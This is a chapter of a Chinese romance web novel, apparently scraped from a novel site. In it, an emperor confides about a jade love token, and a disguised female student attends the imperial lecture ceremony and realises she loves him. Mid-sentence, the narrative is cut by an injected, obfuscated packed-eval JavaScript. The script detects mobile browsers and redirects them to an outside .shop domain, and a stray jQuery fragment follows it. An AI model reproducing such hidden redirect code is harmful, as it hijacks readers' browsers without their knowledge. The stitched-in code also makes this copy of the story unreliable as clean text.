文趣网 > 都市小说 > 良方尽 > 16. 垂帘 临雍大典
    御书房内,氛围凝重。

    谭宗耀跪在御桌下,赵恪端坐龙椅,缓缓端起一杯茶,说道:“谭大人,私下求见朕所为何事?”

    谭宗耀声音严肃地响起:“

    陛下,臣昨日于三元楼,亲眼见一名监生身侧女子,佩戴着日纹山玄玉。此玉乃太祖御用信物,世代相传,承于先帝之手,辗转传至陛下。礼制有言,见此玄玉,如见帝王亲临。只是这般贵重无双的御用圣物,怎会流落民间,在一介寻常监生身上?”

    赵恪用稍显为难的语气说道:“谭大人,此事……可否替朕保密。”

    谭宗耀:“陛下这样说,臣惶恐。如若此事关乎陛下,臣定竭尽所能,誓死周全。”

    “古有诗云,何用问遗君,双珠玳瑁簪,用玉绍缭之。朕听闻,在民间,喜欢一人,必以自身珍视之物,赠予她当作定情信物。朕最珍贵莫过于这个江山”,说罢,见谭宗耀一脸震惊的样子,赵恪喝了口茶,继续说道:“可江山不能送人……朕只能将家传信物给她了。听闻谭大人与夫人青梅竹马、恩爱非常,想必,能够理解朕吧。”

    谭宗耀没想到陛下如此坦诚,倒生出一股子钦佩来,道:“既然是陛下所爱之人,佩戴此玉佩,也是理所应当。只是不可过于招摇,以免产生不必要的误解。”

    赵恪笑了起来:“爱卿能够理解朕,便要替朕保密。”

    谭宗耀震惊地问道:“难道那女子还不知陛下倾心于她?”

    赵恪笑着摇摇头,道“此事,朕还不知如何开口。”

    谭宗耀更加震惊。他深知赵恪掌天下生杀大权,金口一言,便可定乾坤、断祸福,杀伐决断从无迟疑,竟会在儿女情长上这般踌躇内敛。谭宗耀年逾四十三,看着眼前尚且年少、身居九重却情窦懵懂的帝王,心中生出几分长辈般的体恤,柔声道:“陛下久居深宫,终日躬耕政务,于俗世情爱,所知甚少。恕老臣斗胆直言,人生倏忽,年少韶华更是转瞬即逝。陛下若真心珍视此人,便不必纠结言辞深浅,坦诚吐露心意便是,真心相待,胜过千言万语。”

    赵恪:“多谢谭大人。”

    日纹山玄玉的事就告一段落。年少不觉日长,眨眼间已是六月初,秋闱将近,国子监要参加秋闱的学子越发勤奋了起来,国子监的氛围也日益紧张。

    商齐子自从答应父亲要考进士后,比以往刻苦多了。看着同学们如此刻苦,封若卿心中生出许多希望,那是这个国家未来的希望。

    商齐子:“子姒,今年秋闱你要回原籍参加的吧?”

    封若卿:“是的。不能与你们一同在京秋闱了,明年春闱再见了。”

    “什么时候出发回原籍?”

    “七月出发,正好赶上秋闱,还能在那边玩乐半月呢!”

    “也好,早点出发,免得路上出什么意外。”

    这时,一位同学突然大声吆喝起来:“据说因为今年是陛下即位以来的第一场科考,会增加额外的名次!比往年要多十几位!”

    又一位同学站了起来:“我说一个你们不知道的消息!这个月!陛下要来国子监举行临雍大典!!”

    学堂内立刻欢呼了起来。

    “我听闻陛下还是皇子时,经义、策论都是第一!”

    “我倒是听说陛下在国子监时,非常谦卑,从不争着出头。”

    “哎!家父说,陛下围棋下得极好!”

    闻人泰眼神放光,用崇拜的语气说道:“听说陛下连医药都通,如果真的举行临雍大典,那岂不是能够一睹陛下真容!”

    刘芙渠:“在座的,估计只有范立同学见过皇上吧。”

    范立看了看封若卿,见他一点儿反应也没有,越发奇怪。而封若卿哪里敢有反应!

    范立:“子姒,你不期待临雍大典吗?”

    封若卿想也没想,答道:“想。”

    “那你怎么看起来并不激动。”

    “我应该怎么激动?”

    商齐子:“哎,传生,你怎么这么喜欢逗我们子姒!人家地方上来的,不懂天子之威很正常。”

    “我怎么不懂,我也很好奇临雍大典呢!从没见过。”

    众人依旧热闹地讨论着当今圣上是如何如何,而封若卿对于朝堂上的赵恪一无所知,她认识的只有启元殿的赵恪,如亲人一般温柔的赵恪,实在与他们所言的威严没有关系。

    范立:“我也没见过……我也期待。”

    谈笑间转瞬,六月二十六,临雍大典如期而至。

    卯正时刻,国子监诸生,便已经抵达学校,不同于平常可以随意穿着,临雍大典是重大日子,大家都换上了规整的青襕衫,比平时早起一刻,将头发高高挽起,头戴宝石桂冠。

    卯时三刻,诸生沿成贤街次第前行。早几日国子监便遣人净街洒水,沿路遍植时花,晨雾轻笼枝头,花瓣凝露,清肃之气扑面而来。中和韶乐金石丝竹之声自两庑遥遥漫开,诸生依序分列于辟雍四面圜桥之外,环围着中央圆形泮池——此即“圜桥观听”之地。池水清浅,微风拂过,漾开细碎涟漪,正中高台设御座,便是天子讲学之处。

    旭日渐升,晨雾尽数散去,金辉落在带露繁花上,整座太学愈显庄穆。封若卿、范立、商齐子、闻人泰、刘芙蕖等人都坐在一起。

    全部监生落座后,商齐子道:“这要等到什么时候?”

    范立:“我爹说今日大典,朝中五品以上的官员都要来。他们还未落座,大典开始还早着呢!”

    闻人泰:“就要见到陛下了!”

    刘芙蕖突然红了眼眶,“如若不是作为贡生被选上国子监,真没有如此福气!”说着她的眼泪掉了下来,“如果爹娘知道,肯定会为我开心。”

    封若卿掏出帕子,替刘芙渠抹了眼泪,道:“纪棠,你功课如此好。今后高中,日日上朝都能见着陛下。”

    等候片刻,鸿胪寺礼官引文武百官自彝伦堂侧有序而出,分列圜桥内侧、近御台之处。外圈立诸生,内列百官,圜池正中高台一空,专候当今圣上赵恪。

    辰时一至,太学门内丹陛大乐轰然奏响,金石鼓吹震彻整条街巷。全场立时屏息,万千目光齐齐投向彝伦堂朱门。

    四名内侍分立堂门两侧,缓缓推开重扉,赵恪缓步踏出。一身玄色衮龙常朝礼服,腰束玉带,身姿挺拔,沿正中御甬徐行。百官、诸生齐齐垂首敛息,他踏过圜桥石板,径直登上中央讲学高台,安坐御座。

    满场鸦雀无声,只剩乐声余音绕着飞檐流转,无人敢高声喘息。闻人泰身子微微前倾,目光炽热难掩;刘芙蕖双手紧紧攥起,心底满是敬畏;范立神色沉静,余光却悄悄落在身侧封若卿身上——只见封若卿抬首直视高台,长睫凝定、一瞬不移,眼底翻涌着难以言说的倾慕。

    封若卿第一次见到这样的赵恪,那么威严沉静、不容置喙,是举国万民仰望的君主,尽管今早起来,二人还对桌而坐,一起用早膳。两个模样在她心底重叠,生出一种恍惚的割裂感。她下意识按住腰间藏在衣襟之下的日纹山玄玉,冰凉的触感贴着皮肉,时刻提醒着二人之间那份不可言说的秘密

    ——封若卿突然意识到,自己有多么喜欢陛下。

    国子监祭酒上前一步,率先登台讲解《论语》篇章,声音庄重辽阔,缓缓响彻整片辟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811167|210834||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    雍。讲官退下之后,便轮到赵恪阐发经义。

    他语速平缓,言辞通透,借着经书义理暗喻朝堂制衡、士族民心。赵恪一边开口宣讲,视线漫不经心地扫过桥下成片的监生,最后稳稳落在人群之中仰望着自己的封若卿身上。隔着一汪池水、万千士子,二人遥遥相望。他眼底褪去面对百官的凛冽锐利,只余下一层缱绻温柔。

    御论讲毕,乐曲再度响起,全场所有人三跪九叩。

    封若卿从未行过臣子礼,微微一愣,立刻反应过来,弯下膝盖俯首在地,鼻尖萦绕着池水与檀香混杂的气息,这是她第一次跪拜帝王。随着众人喊道:

    “吾皇,万岁万岁万万岁——”

    喊声震彻整座国子监。

    此刻,对着圣人,她多么希望,赵恪真的可以永远平安、幸福,万岁……

    大典尾声,圣上赏赐一众讲官,监生人人分得绸缎奖赏。待到赵恪起驾回宫,长长的仪仗缓缓远去,桥上的学子们才慢慢直起身,四下响起此起彼伏的惊叹与议论,人人都在感慨圣上谈吐渊博,气度慑人。

    商齐子侧过头,碰了碰封若卿的胳膊:“方才近距离看见陛下,你心中可有震撼?”

    封若卿缓缓收回目光,只呆呆应声:“今日方知,何为天子威仪。”

    大典结束,国子监早早便散学了,大家还沉浸在见到当今陛下的喜悦中。封若卿依旧随着江伯回到宫中,但不同于往日之轻松,不知为何,封若卿生出一股胆怯来。

    马车依旧毫无阻碍地进入宫中,然后驶入启元殿后院,封若卿下车,先望了望内院,不见陛下,立刻跑回了摇光馆,春芳正在收拾衣裳,见封若卿回来了,立刻说道:“主上,今日劳累了。换身衣裳,准备用晚膳吧。”

    说着春芳侍候封若卿脱下青襕衫,稍微擦洗后,换上了一身月白宽袖齐胸轻薄襦裙,搭配细长的软缎飘带,娴静清雅。

    封若卿满腹心事,问道:“陛下从国子监回来了?”

    春芳将封若卿的头发梳顺,答道:“陛下午时就回启元宫了。”春芳手巧,不一会就给封若卿梳了个垂鬟分肖髻,点缀上两枚细碎的花钿。春芳打量着封若卿,惊叹道:“主上,长得真好看。每回为主上梳妆,都要惊艳奴婢一番。”

    封若卿转头看着春芳,说道:“多谢……你也很好看。”

    春芳害羞了起来,道:“主上折煞奴婢了!”

    主仆二人相视一笑。

    这时,春沁进入殿内,说是晚膳好了。封若卿那股胆怯又萌生了起来……自己这是怎么了?与陛下日日一起用膳,为什么突然……

    封若卿只当是天子余威在发作,鼓起勇气走出殿外。天将黑未黑,宫内四处的灯笼已经点上,六月底了,院内栀子花已然盛开,香味不时浮现,沁人心脾。封若卿走进大殿,殿内已摆好膳食。

    抬眼往上瞧,赵恪已经坐在桌前,正看着自己——虽然陛下已经换上了日常便服,可和从前不一样了……

    封若卿紧张了起来,连路都不会走了,走得磕磕巴巴,也不知自己是如何坐下的。

    赵恪:“怎么了?心不在焉的。”

    “陛下……我……”封若卿答话时,照旧抬眼看上赵恪,可一对上赵恪的眼睛,便觉得浑身僵硬了起来。

    “怎么了?”

    封若卿语无伦次地说道:“陛下,我……我,我好像不太舒服,就不用晚膳了。告退了。”

    赵恪被她的样子弄得一头雾水,问道:“今日,吹风着凉了?”

    “没有没有……陛下,我先回摇光馆了。”

    说完,封若卿急步走了。